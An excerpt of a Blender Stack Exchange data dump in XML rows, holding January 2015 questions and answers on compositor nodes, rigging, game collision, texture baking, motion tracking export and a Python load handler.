  <row Id="23201" PostTypeId="2" ParentId="23199" CreationDate="2015-01-14T19:23:08.627" Score="4" Body="&lt;p&gt;What you are looking for is the &lt;em&gt;Rotate&lt;/em&gt; node. Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and go to &lt;em&gt;Distort &gt; Rotate&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k2cXA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now set the number of degrees to rotate by:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PQwQR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what is more, it is fully animatable via keyframes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OqeRa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-14T19:35:17.140" LastActivityDate="2015-01-14T19:35:17.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23202" PostTypeId="2" ParentId="23172" CreationDate="2015-01-14T20:01:48.693" Score="2" Body="&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; You have to append the rig multiple times instead of duplicating it. Duplicating will basically make another instance, while appending again will make an entirely new armature/mesh in the .blend file.  &lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="6204" LastEditDate="2015-01-15T02:49:30.383" LastActivityDate="2015-01-15T02:49:30.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23203" PostTypeId="1" CreationDate="2015-01-14T20:07:23.287" Score="2" ViewCount="462" Body="&lt;p&gt;I am using Array modified and Fit Curve modifier to place multiple meshes on a bezier curve.  Unfortunately, blender is passing the curve through the centers of the generated objects, and I need the objects to be placed so that the curve passes through the origin, not center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="10988" LastActivityDate="2015-02-14T17:20:13.613" Title="Mesh Array Modifier with Fit Curve modifier strings objects through center, not origin" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23204" PostTypeId="1" AcceptedAnswerId="23209" CreationDate="2015-01-14T20:08:11.723" Score="0" ViewCount="204" Body="&lt;p&gt;I have a blender scene where I have a set of small steps. I also added two bounding boxes for each step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/teMQq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is that when I build my game in babylon.js my player cannot ascend the steps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cgfvn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: is there an &quot;incline&quot; feature that I can add to either the steps or the player, or for both? If there is how do I do that? If not then what do I need to in order to have my player ascend the steps?&lt;/p&gt;&#xA;" OwnerUserId="10958" LastActivityDate="2015-01-14T21:23:42.183" Title="How to set up an incline" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23205" PostTypeId="1" CreationDate="2015-01-14T20:09:55.027" Score="0" ViewCount="41" Body="&lt;p&gt;I am a beginner in Blender 3D, but I can already appreciate the power of this app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded this book --&gt; &lt;a href=&quot;http://upload.wikimedia.org/wikipedia/commons/c/c1/BlenderDocumentation.pdf&quot; rel=&quot;nofollow&quot;&gt;http://upload.wikimedia.org/wikipedia/commons/c/c1/BlenderDocumentation.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am encountering a lot of problems because my version 2.72b and most of what I am reading refers to UI which dates back to older versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me identify a beginners book (in pdf format) that is updated for the version 2.70+.&lt;/p&gt;&#xA;" OwnerUserId="10987" LastActivityDate="2015-01-14T20:09:55.027" Title="Blender Documentation" Tags="&lt;versions&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-01-14T21:01:34.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="23206" PostTypeId="1" AcceptedAnswerId="23361" CreationDate="2015-01-14T20:18:12.097" Score="10" ViewCount="1916" Body="&lt;p&gt;I'm trying to compute optic flow in my Blender scene using the &quot;speed&quot; render layer (appears as &quot;vector&quot; in the outliner window). This render layer is supposed to return the speed and direction of movement in the scene. Its primary purpose, according to the documentation, is to enable vector blur computation during rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this layer is computing what is required for optical flow computation, I would like to output this information as images in HSV color space. In this color space, Hue should be direction of motion (defined in angles around a color circle), and Saturation should be the magnitude of the motion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are example of this done with blender, so I know this is possible:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=ZmiBI4tPk_o#t=75&quot;&gt;https://www.youtube.com/watch?v=ZmiBI4tPk_o#t=75&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the output the &quot;speed&quot; render layer is very poorly documented for purposes outside of vector blur. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I tease apart the direction and magnitude information in the&#xA;speed layer? &lt;/li&gt;&#xA;&lt;li&gt;What are the ranges of these values and how can I remap&#xA;them (ie linearly or nonlinearly?) onto values that can make sense&lt;br&gt;&#xA;for the output image formats&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0BztcW_H4ySEbSnAtM0tyemk2QTBLTlV1Nm9kRUJ5Q1l0QmVz/view?usp=sharing&quot;&gt;Here is a .blend file&lt;/a&gt; that contains my progress up to a certain point. Tips and ideas are appreciated&lt;/p&gt;&#xA;" OwnerUserId="10989" LastActivityDate="2015-01-17T20:15:45.847" Title="Repurposing vector (speed) render layer for optical flow" Tags="&lt;rendering&gt;&lt;node-editor&gt;&lt;render-layers&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23207" PostTypeId="1" CreationDate="2015-01-14T20:32:51.577" Score="1" ViewCount="1196" Body="&lt;p&gt;i just got my new Zotac GTX 970 and blender 2.73 but i'm worried about my cylcles results. My other card was a GTX 670 OC, so theoreticly i should achieve 50-100% faster rendering times. Sadly the increase turned out to be around 10-20% in direct comparison. My question is: Could anybody tell me if this is normal at the moment; maybe caused by a lag of optimisation? Is someone achieving better results? I'm really worried if the card is worth the extra money :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using:&#xA;Win 8.1,&#xA;i5 3350p,&#xA;8GB&lt;/p&gt;&#xA;" OwnerUserId="10991" LastActivityDate="2015-01-14T20:32:51.577" Title="Bad GTX 970 Performence" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2015-04-27T19:09:39.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="23209" PostTypeId="2" ParentId="23204" CreationDate="2015-01-14T21:23:42.183" Score="1" Body="&lt;p&gt;You will need only one collision box for the entire set of stairs, don't bother with bounds for each step, it just makes stuff complicated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o3YAx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The black line symbolizes the collision mesh. Set it to invisible. When the character goes up the stairs, there won't be any issues, and it looks real enough that no-one should notice this standard FPS nuance.&lt;/p&gt;&#xA;&lt;p&gt;Also, if you use BGE there is a setting for step height under the character physics type.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-14T21:23:42.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23210" PostTypeId="1" CreationDate="2015-01-14T21:35:33.707" Score="1" ViewCount="267" Body="&lt;p&gt;Look at &lt;a href=&quot;https://www.youtube.com/watch?v=MYhDis257gc&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=MYhDis257gc&lt;/a&gt; In the link, it shows the GMIC FILTER OVERLAY effect... What is that? I mean, what does it do, and how can I use it? Does it come with blender, and if not, how can I enable it?&#xA;I've searched for YouTube videos on the subject, but nothing appears... I'll try Blend Swap later, if no one can answer me here. I have several renders I'd like to apply this to, so any information is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="10993" LastActivityDate="2015-01-14T21:35:33.707" Title="GMIC FILTER OVERLAY?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-01-14T21:47:08.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="23211" PostTypeId="2" ParentId="23199" CreationDate="2015-01-14T21:41:42.630" Score="2" Body="&lt;p&gt;The &lt;em&gt;Scale&lt;/em&gt;, &lt;em&gt;Translate&lt;/em&gt; and &lt;em&gt;Rotate&lt;/em&gt; nodes are what you use to move, scale, and rotate in the compositor.&lt;br&gt;&#xA;In your nodes you are already using a &lt;em&gt;Scale&lt;/em&gt; and a &lt;em&gt;Rotate&lt;/em&gt; node, so just add a translate node and you will be able to move your dog.&lt;br&gt;&#xA;&lt;strong&gt;*Note*&lt;/strong&gt; place the &lt;em&gt;Translate&lt;/em&gt; node after the rotate node, or you will get odd transformations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To animate any of the values, for example the rotation (like in NoviceInDisguise's &lt;a href=&quot;https://blender.stackexchange.com/a/23201/2217&quot;&gt;answer&lt;/a&gt;) you have to do two things.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set the value, then hover the mouse over the input field and press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt;. It will turn yellow showing that there is a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Actions#Properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;keyframe&lt;/a&gt; on that frame.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Timeline&quot; rel=&quot;nofollow noreferrer&quot;&gt;timeline&lt;/a&gt; move the timeline pointer to the next spot in your video that you want the a value, and repeat step one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tzu53.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tzu53.png&quot; alt=&quot;compositor nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2016-12-27T16:58:57.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23213" PostTypeId="1" AcceptedAnswerId="23216" CreationDate="2015-01-14T22:55:43.493" Score="9" ViewCount="26819" Body="&lt;p&gt;I am making a model and in object mode, you can't rotate, scale, mirror, etc a mesh. The only way to do it is to got to edit mode, select and then rotate. That worked for me until I made a armature and you can't rotate it in pose mode!&lt;/p&gt;&#xA;" OwnerUserId="10928" LastEditorUserId="599" LastEditDate="2015-01-14T23:38:29.743" LastActivityDate="2020-10-16T02:17:11.133" Title="How come I can't rotate?" Tags="&lt;armature&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23215" PostTypeId="1" CreationDate="2015-01-14T23:29:40.353" Score="1" ViewCount="290" Body="&lt;p&gt;Is it possible to set up a rig in such a way that a soft, rubbery part of the mesh can be &quot;deflected&quot; based on the rotation of a bone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a mesh like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8l1pY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'd like to rig it so that when the cylinder part is rotated, it deflects the rubbery torus like this (roughly):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S0o0k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I can't just weight the torus to the arm bone, as that doesn't &lt;em&gt;deflect&lt;/em&gt; the torus so much as rotate it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0WLlC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the cylinder should be able to rotate in all directions and deflect the rubber &quot;gasket&quot; accordingly (as depicted in the second screenshot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to do with a rig?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-15T19:58:07.810" Title="How to deform a mesh based on bone rotation?" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23216" PostTypeId="2" ParentId="23213" CreationDate="2015-01-14T23:32:59.367" Score="28" Body="&lt;p&gt;It sounds like you have &lt;em&gt;Manipulate origins&lt;/em&gt; (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;,&lt;/kbd&gt;) enabled in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/trvJX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setting makes it so transforms will only affect the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot; rel=&quot;noreferrer&quot;&gt;origins&lt;/a&gt;&lt;/em&gt; of objects, rather than the objects themselves. This is only really very useful when you have multiple objects/bones selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/12303/599&quot;&gt;What does the button next to the Pivot Point button do?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-01-14T23:32:59.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23218" PostTypeId="1" AcceptedAnswerId="23225" CreationDate="2015-01-15T01:29:50.440" Score="2" ViewCount="942" Body="&lt;p&gt;I have a slow motion video of an object falling under gravity with an aproprete scale in the background. It was filmed from a tripod so there is no camera movement in any plane. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do idealy is use blender's object tracker to produce graphs of the objects position over time. As I have a lot of clips to process and I don't care about the objects rotation I though of using just a single marker. I have already tracked it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question now is how do I get the tracking data to a format that can be imported into exel such as plain text numbers? I see a number of solving options such a planear track but they require more markers. Is there such an option like 2D solve?&lt;/p&gt;&#xA;" OwnerUserId="1479" LastActivityDate="2016-11-14T10:32:37.660" Title="Getting raw data from object track" Tags="&lt;video&gt;&lt;tracking&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23219" PostTypeId="1" CreationDate="2015-01-15T04:28:53.257" Score="10" ViewCount="7485" Body="&lt;p&gt;I'm trying to bake bump maps into normal maps.  I am having problems with the baking process in that it seems to arbitrarily select the image that the bake renders to.  Sometimes it bakes to the texture I've created for the normal map, but sometimes it will bake to the diffuse map instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what makes the difference.  Even when I make sure the normal map image is selected in the UV editor and I've assigned a UV map to the normal texture it still sometimes bakes to the diffuse map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make sure I bake to the image that I want?&lt;/p&gt;&#xA;" OwnerUserId="9732" LastEditorUserId="6385" LastEditDate="2015-01-15T16:18:06.457" LastActivityDate="2015-09-21T16:26:41.383" Title="How to pick target texture image for baking?" Tags="&lt;blender-internal-render-engine&gt;&lt;texture-baking&gt;&lt;normals&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23220" PostTypeId="2" ParentId="15154" CreationDate="2015-01-15T04:51:34.873" Score="11" Body="&lt;p&gt;By default, Blender is a scene referred radiometrically linear reference space model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that, when Cycles is selected as the renderer, values are radiometrically linear ratios that extend from zero to infinity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subject of color, color management, scene and display referred, and other such topics is immensely vast, far too vast for a simple answer here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short answer to your query however, is that Cycles is already a scene referred renderer, and no special effort is required to enable this aspect. More specifically, if you load an sRGB display referred image as a texture, it will be automatically linearized to display linear. While not scene linear, this permits textures to behave within a scene referred system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Upon loading images in common formats such as JPEG, TIFF, PNG, etc. you should not adjust your image nor adjust your output.&lt;/em&gt;&lt;/strong&gt; The linearization happens at the architectural level, and is correctly formatted for output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fully harness a scene referred model though, one should begin to round out their knowledge of color. A wonderful entry point might be the Visual Effects Society paper written by Jeremy Selan titled &lt;a href=&quot;http://cinematiccolor.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cinematic Color: From Your Monitor to the Big Screen&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="213" LastEditorDisplayName="user1853" LastEditDate="2018-06-10T20:16:43.647" LastActivityDate="2018-06-10T20:16:43.647" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23221" PostTypeId="2" ParentId="5524" CreationDate="2015-01-15T07:59:10.487" Score="3" Body="&lt;p&gt;This is now possible as of &lt;a href=&quot;https://developer.blender.org/rB4118c1b4e6ae04988c310d785bd1802c46187e3a&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt; (will be in 2.74).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Cycles: Adding field-of-view options to the equirectangular panorama camera&lt;/p&gt;&#xA;&lt;p&gt;This patch adds the option to set minimum/maximum latitude/longitude values for&#xA;the equirectangular panorama camera in Cycles, as discussed in &lt;a href=&quot;https://developer.blender.org/T34400&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;T34400&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-15T07:59:10.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23223" PostTypeId="1" AcceptedAnswerId="23280" CreationDate="2015-01-15T09:14:43.507" Score="4" ViewCount="4345" Body="&lt;p&gt;I am trying to simulate the physics for a sheet of paper in Blender Game Engine.&#xA;For this, I am using an ordinary plane (subdivided in several faces). I tried doing this by defining soft body physics for the plane, but I can't seem to get the physics parameters right. Mostly, it's possible to let the plane behave a bit like a more stiff cloth, but not like paper.&#xA;Is it possible to get the physics parameters right to simulate paper, or is soft body not the right way to go and I should try something completely different?&lt;/p&gt;&#xA;" OwnerUserId="10998" LastActivityDate="2015-01-16T13:03:29.673" Title="How to simulate a sheet of paper in Blender Game Engine?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23225" PostTypeId="2" ParentId="23218" CreationDate="2015-01-15T10:43:44.867" Score="4" Body="&lt;p&gt;You can use a Follow Track constraint to 'project' a single track onto an object.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;track your point, you dont need to solve the camera.&lt;/li&gt;&#xA;&lt;li&gt;make a plane, and position it perpendicular to the camera... how you want to set this up is up to you, but it will effect the numbers you get out at the end.&lt;/li&gt;&#xA;&lt;li&gt;add the constraint to an object, i just used the default Cube, and refer to the image bellow on how i set it up.&lt;/li&gt;&#xA;&lt;li&gt;in the viewport image, I have calculated the motion paths, and you can see the path of the track is on the plane.&lt;/li&gt;&#xA;&lt;li&gt;click the Constraint to Fcurve button, and it will bake the constraint to XYZ values.&#xA;Edit: Some times this button doesn't work. &lt;em&gt;An alternative is: Search-&gt;Bake Action&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;you can then write some python to convert your animation to CSV format.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/2235/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=2235&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xlrzi.png&quot; alt=&quot;track constraint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iptbz.png&quot; alt=&quot;3d view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2016-11-14T10:32:37.660" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23226" PostTypeId="1" AcceptedAnswerId="23247" CreationDate="2015-01-15T11:40:06.520" Score="6" ViewCount="1673" Body="&lt;p&gt;How can I control which part of the object the fire/smoke is emitted from so instead of it coming from the corners it is emitted from the top side like a normal log on fire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GhI0V.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GhI0V.png&quot; alt=&quot;Here is my work&quot;&gt;&lt;/a&gt;&#xA;Also I can't see the faces of the object even though I am out of edit and wire frame mode can someone please explain that as well.&lt;/p&gt;&#xA;" OwnerUserId="7822" LastEditorDisplayName="user1853" LastEditDate="2016-03-01T11:46:33.330" LastActivityDate="2018-03-14T02:47:34.350" Title="How can I control where smoke and fire are emitted from?" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23228" PostTypeId="1" CreationDate="2015-01-15T12:02:31.763" Score="8" ViewCount="3755" Body="&lt;p&gt;How can I make a script run when I open a file? This to be used with registering an handler every time the file is opened. &lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-16T09:07:20.200" Title="How to make a script run when a file is opened" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23230" PostTypeId="2" ParentId="23228" CreationDate="2015-01-15T12:37:35.263" Score="3" Body="&lt;p&gt;If the file is a .blend you can use an &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.app.handlers.html#persistent-handler-example&quot; rel=&quot;nofollow noreferrer&quot;&gt;application handler&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;&#xA;@persistent&#xA;def load_handler(dummy):&#xA;    print(&quot;Load Handler:&quot;, bpy.data.filepath)&#xA;&#xA;bpy.app.handlers.load_post.append(load_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For other file types there is no callback provided, you could iterate over all text files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for t in bpy.data.texts:&#xA;    'check for previously created' -&amp;gt; exec if new and add to list.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and check for new entries triggered by a timer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/21034/my-custom-timer-is-cancelled-when-loading-a-blend-file&quot;&gt;My custom timer is cancelled when loading a *.blend file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/9420/run-an-internal-script-from-a-handler/9422#9422&quot;&gt;Run an Internal script from a handler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2642/is-it-possible-to-get-render-time-per-tile/2649#2649&quot;&gt;Is it possible to get render time per tile?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-01-15T12:37:35.263" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23231" PostTypeId="1" AcceptedAnswerId="23233" CreationDate="2015-01-15T13:36:12.803" Score="19" ViewCount="24930" Body="&lt;p&gt;If I have a model with 3 textures (blue, red, yellow), and I want to select all (and only) the blue faces from that model, what's the shorcut to do that?&lt;br&gt;&#xA;I remember there was one, but now I don't remember what button combinations were correct.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-01-15T14:06:31.173" LastActivityDate="2015-01-15T14:06:31.173" Title="How to select all faces with the same material?" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;shortcut&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23232" PostTypeId="2" ParentId="23231" CreationDate="2015-01-15T13:45:22.347" Score="21" Body="&lt;p&gt;In edit mode there is a button for that in the materials tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DoElE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This button will add the faces that have this material to the current selection, so make sure you have unselected everything else before clicking that button.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-01-15T13:45:22.347" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23233" PostTypeId="2" ParentId="23231" CreationDate="2015-01-15T14:05:30.830" Score="18" Body="&lt;p&gt;You could also use &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt; to &lt;em&gt;Select Similar Material&lt;/em&gt;, which is also accessbile from the Select Menu in &lt;em&gt;Edit Mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M9Fdo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-15T14:05:30.830" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23234" PostTypeId="1" AcceptedAnswerId="23235" CreationDate="2015-01-15T14:13:57.867" Score="5" ViewCount="17149" Body="&lt;p&gt;I'm making a 3D realistic eye on Blender, I started by an already pre-made file, and it came with a transparent material/layer that works like glossynes, still it doesn't apply to the texture on the background (the pupil).&lt;br&gt;&#xA;How can I make this model look better by making it reflect or 'shine'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is my actual project:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c1XmR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c1XmR.jpg&quot; alt=&quot;screen shot of blender showing the eye model&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Everything is fine, but I want it to look like this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lgRLv.jpg&quot; alt=&quot;example eye&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-02-21T03:22:33.443" LastActivityDate="2015-02-21T03:22:33.443" Title="Add a ''glossy'' material for Blender render?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2015-02-21T13:27:24.893" ContentLicense="CC BY-SA 3.0" />
